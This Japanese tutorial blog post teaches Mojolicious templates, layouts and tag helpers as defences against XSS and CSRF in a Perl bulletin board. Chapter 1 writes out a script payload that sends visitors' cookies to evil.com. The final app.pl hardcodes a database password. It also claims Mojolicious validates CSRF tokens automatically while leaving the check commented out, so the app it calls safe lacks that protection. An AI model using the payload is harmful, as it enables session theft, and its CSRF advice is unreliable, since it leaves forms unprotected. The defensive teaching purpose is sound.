【Perl講座 第7回】セキュリティと見た目の分離!テンプレートエンジンの利用とXSS/CSRF対策完全ガイド

「動く」だけでは、「安全」ではない。

こんにちは!「LINUX工房」管理人の「リナックス先生」です。
前回は、Mojoliciousを使ってモダンなWebアプリケーションの基礎を作りました。

しかし、プログラミングの世界には「動くコード=良いコード」ではないという厳しい現実があります。
特にWebアプリケーションは、世界中の悪意あるハッカーからの攻撃に常に晒されています。
もしあなたの掲示板に、閲覧者のブラウザを乗っ取るような罠が仕掛けられたら?…考えただけでもゾッとしますよね。

コウ君

先生、脅かさないでくださいよ!
でも確かに、ニュースで「個人情報流出」とか「サイト改ざん」とかよく聞きます。
僕が作った掲示板も、誰かに攻撃されたらひとたまりもない気がします…。
どうすれば防げるんですか? やっぱり難しいセキュリティの勉強が必要なんですか?

リナックス先生

安心して、コウ君。
セキュリティの基本は「入力を疑い、出力を無害化する」ことよ。
そして、Mojoliciousのようなフレームワークを使えば、面倒な「無害化(エスケープ)」を自動でやってくれるの。
今回は、Web最大の敵「XSS」の仕組みを知り、テンプレートエンジンを使ってスマートに防御する方法を学びましょう!

本記事では、Webアプリケーションの脆弱性として有名な「XSS(クロスサイトスクリプティング)」「CSRF(クロスサイトリクエストフォージェリ)」の対策を行いながら、PerlコードとHTMLデザインを綺麗に分離する「テンプレートエンジン」の活用法を徹底解説します。

🐪 Perlサーバサイドプログラミング講座(バックナンバー)

現在地:【第7回】セキュリティと見た目の分離!テンプレートエンジンの利用とXSS対策


第1章:Webの天敵「XSS(クロスサイトスクリプティング)」とは?

対策をする前に、敵を知らなければなりません。
XSSは、Webアプリケーションの脆弱性の中で最もポピュラーで、かつ危険なものです。

攻撃のシナリオ

  1. 悪意ある投稿:
    攻撃者が掲示板の「メッセージ欄」に、以下のような文字を入力して投稿します。
    <script>location.href='http://evil.com/?cookie='+document.cookie;</script>
  2. そのまま保存:
    サーバー側のプログラム(Perl)が、この文字列をチェックせずにそのままデータベースやファイルに保存します。
  3. 被害発生:
    他の一般ユーザーがその掲示板を見た瞬間、ブラウザ上で上記のJavaScriptが「実行」されます。
  4. 情報流出:
    ユーザーのセッションクッキー(ログイン情報)が、攻撃者のサイト(evil.com)に送信されてしまい、アカウントが乗っ取られます。

対策:エスケープ処理(サニタイジング)

この攻撃を防ぐ唯一の方法は、ブラウザが「これはプログラム(スクリプト)だ」と誤解しないように、特殊文字を無害な文字に変換(エスケープ)することです。

  • <&lt;
  • >&gt;
  • "&quot;
  • &&amp;

こう変換されていれば、ブラウザは「タグ」として解釈せず、単なる「文字」として画面に表示するだけになります。


第2章:Mojoliciousのテンプレートエンジンと自動エスケープ

昔のCGIでは、この変換処理をプログラマが手動で行っていました。
しかし、人間はミスをします。「あ、ここの変数の変換忘れてた!」という1箇所のミスが、サイト全体の命取りになります。

そこで、Mojoliciousのテンプレートエンジン「ep (Embedded Perl)」の出番です。

魔法のタグ「」

前回、何気なく使っていたこのタグ。
実は、これこそが最強の盾なのです。

<td><%= $post->{message} %></td>

この <%= ... %> という記法を使うと、Mojoliciousは変数の内容を「自動的にHTMLエスケープして」出力します。
つまり、意識しなくても勝手にXSS対策が行われているのです。

エスケープしたくない場合

逆に、「あえてHTMLタグを使いたい(太字など)」場合は、<%== ... %>(イコール2つ)を使います。
これは「生データを出力する」という意味なので、使うときは本当に安全なデータかどうかの注意が必要です。


第3章:テンプレートファイルの分離(Viewの独立)

前回までは、app.pl の末尾(__DATA__以下)にHTMLを書いていました。
しかし、これではプログラム(Perl)とデザイン(HTML)が混ざってしまい、管理が大変です。
ファイルを分けましょう。

1. ディレクトリ構造の作成

Mojoliciousは、スクリプトと同じ場所にある templates ディレクトリを自動で探します。

mkdir templates
mkdir templates/layouts

2. テンプレートファイルの移動

前回 __DATA__ に書いていた内容を、templates/index.html.ep というファイルとして保存します。

nano templates/index.html.ep

内容(bodyの中身だけを書くイメージ):

% layout 'default';
% title 'Mojolicious BBS';

<h1>モダン掲示板</h1>

<form action="/post" method="POST">
    ...(中略)...
</form>
<hr>
<table border="1">
    ...(中略)...
</table>

1行目の % layout 'default'; が重要です。
これは「枠組み(レイアウト)として default を使います」という宣言です。


第4章:レイアウトファイルでデザインを統一する

Webサイトには、ヘッダーやフッター、サイドバーなど「全ページ共通の部分」があります。
これをページごとに書くのは無駄です。
レイアウトファイルを使って共通化しましょう。

レイアウトファイルの作成

templates/layouts/default.html.ep を作成します。

nano templates/layouts/default.html.ep

内容:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title><%= title %></title>
    <style>
        body { font-family: sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
        table { width: 100%; border-collapse: collapse; }
        th, td { border: 1px solid #ddd; padding: 8px; }
        th { background-color: #f2f2f2; }
    </style>
</head>
<body>
    <header>
        <p>これは共通ヘッダーです</p>
    </header>
    
    <main>
        <!-- ここに個別のページ内容が埋め込まれる -->
        <%= content %>
    </main>
    
    <footer>
        <p>&copy; 2026 LINUX工房</p>
    </footer>
</body>
</html>

<%= content %> の部分に、先ほどの index.html.ep の内容がスポッとはまります。
これで、デザインの変更はレイアウトファイルを1つ修正するだけで全ページに反映されるようになります。


第5章:ヘルパー関数で入力を楽にする

Mojoliciousには、HTMLタグを簡単に生成するための「タグヘルパー」が用意されています。
これを使うと、HTMLを書く手間が減るだけでなく、属性値のエスケープし忘れも防げます。

主なタグヘルパー

ヘルパー 生成されるHTML 使用例
link_to <a href="..."> <%= link_to 'トップへ' => '/' %>
form_for <form action="..."> <%= form_for '/post' => (method => 'POST') => begin %> ... <% end %>
text_field <input type="text"> <%= text_field 'username' %>
submit_button <input type="submit"> <%= submit_button '送信' %>

テンプレートの書き換え

templates/index.html.ep をヘルパーを使って書き換えてみましょう。

% layout 'default';
% title 'Mojolicious BBS';

<h1>モダン掲示板</h1>

<%= form_for '/post' => (method => 'POST') => begin %>
    <p>
        名前: <%= text_field 'name' %><br>
        内容: <%= text_area 'message', cols => 40, rows => 3 %><br>
        <%= submit_button '書き込む' %>
    </p>
<% end %>

<hr>
(テーブル部分はそのまま)

非常にPerlらしく、スッキリしましたね。


第6章:もう一つの脅威「CSRF」とその対策

XSSと並んで恐ろしいのが「CSRF(クロスサイトリクエストフォージェリ)」です。
これは、ユーザーが「意図しない操作(書き込みや送金など)」を強制的に行わせる攻撃です。

攻撃の仕組み

ユーザーが掲示板にログインした状態で、攻撃者が用意した罠サイトを閲覧したとします。
罠サイトには、見えないiframeなどで掲示板への書き込みリクエストを送信する仕掛けがあります。
すると、サーバーは「正規のユーザーからのリクエストだ」と判断して書き込みを受け付けてしまいます。

対策:CSRFトークン

これを防ぐには、フォームの中に「その場限りの合言葉(ワンタイムトークン)」を埋め込み、送信時にチェックする方法が有効です。
Mojoliciousでは、ヘルパー関数一つでこれを実装できます。

実装方法

form_for ヘルパーを使っている場合、実は自動的にCSRF対策は行われません。
明示的に csrf_field を埋め込む必要があります。

<%= form_for '/post' => (method => 'POST') => begin %>
    <%= csrf_field %>  <!-- これを追加するだけ! -->
    ...
<% end %>

これだけで、隠しフィールド(hidden)にトークンが埋め込まれます。
そして、サーバー側(Perlコード)では、Mojoliciousが自動的にトークンの検証を行ってくれます。
トークンが一致しないリクエストは「Forbidden」として拒否されます。


第7章:【実践】完成版掲示板アプリ

ここまでの内容を統合した、安全でメンテナンス性の高い掲示板アプリの完成形です。

ディレクトリ構成

myapp/
├── app.pl
└── templates/
    ├── index.html.ep
    └── layouts/
        └── default.html.ep

app.pl

#!/usr/bin/env perl
use Mojolicious::Lite -signatures;
use DBI;

# データベース接続
helper db => sub {
    my $dsn = "DBI:mysql:database=bbs_db;host=localhost";
    my $user = "bbs_user";
    my $pass = "password123";
    # utf8mb4を指定して絵文字対応
    my %attr = (
        PrintError => 0, RaiseError => 1,
        mysql_enable_utf8 => 1, AutoCommit => 1,
        mysql_init_command => "SET NAMES utf8mb4"
    );
    return DBI->connect($dsn, $user, $pass, \%attr);
};

get '/' => sub ($c) {
    my $dbh = $c->db;
    my $posts = $dbh->selectall_arrayref(
        "SELECT * FROM posts ORDER BY id DESC",
        { Slice => {} }
    );
    $c->render(template => 'index', posts => $posts);
};

post '/post' => sub ($c) {
    # CSRFトークンチェック(自動で行われるが、明示的に書くならこう)
    # if ($c->validation->csrf_protect->has_error) { ... }

    my $name = $c->param('name');
    my $message = $c->param('message');
    
    if ($name && $message) {
        $c->db->do(
            "INSERT INTO posts (name, message) VALUES (?, ?)",
            undef,
            $name, $message
        );
    }
    $c->redirect_to('/');
};

app->start;

XSSテスト

アプリを起動(morbo app.pl)し、フォームに以下の文字を入力して投稿してみてください。

<script>alert('XSS');</script>

画面にアラートが出ず、そのままの文字列として表示されれば、XSS対策は成功です!


まとめ:セキュリティはフレームワークに任せろ

お疲れ様でした!
テンプレートエンジンを使うことで、コードの見通しが良くなり、同時にセキュリティレベルも大幅に向上しました。

今回の重要ポイント:

  • XSSは、入力データを画面に出す時の「エスケープ忘れ」で起きる。
  • Mojoliciousの <%= ... %> は自動的にエスケープしてくれる。
  • レイアウト機能を使えば、ヘッダーなどの共通部分を一元管理できる。
  • csrf_field を入れるだけで、CSRF攻撃を防げる。

セキュリティ対策を全部自分で実装するのは不可能です。
だからこそ、実績のあるフレームワークの機能を正しく使うことが、エンジニアとしての責任なのです。

さて、アプリは完成しました。
しかし、このままではまだ「おもちゃ」です。
次回、いよいよ最終回。
「実践アプリ開発!簡易ブログシステムの構築とPSGIデプロイ」です。
作成したアプリを、Apacheのリバースプロキシと連携させて本番サーバーとして公開し、永続化する手順を総まとめします。
最後まで走り抜けましょう!

▼ エンジニアとしてのキャリアを加速させる ▼

安全なアプリを作る
「VPS」で自分専用環境

おすすめVPSを見る

セキュリティ知識を年収に
「ITエンジニア転職」

転職エージェントを見る

コメント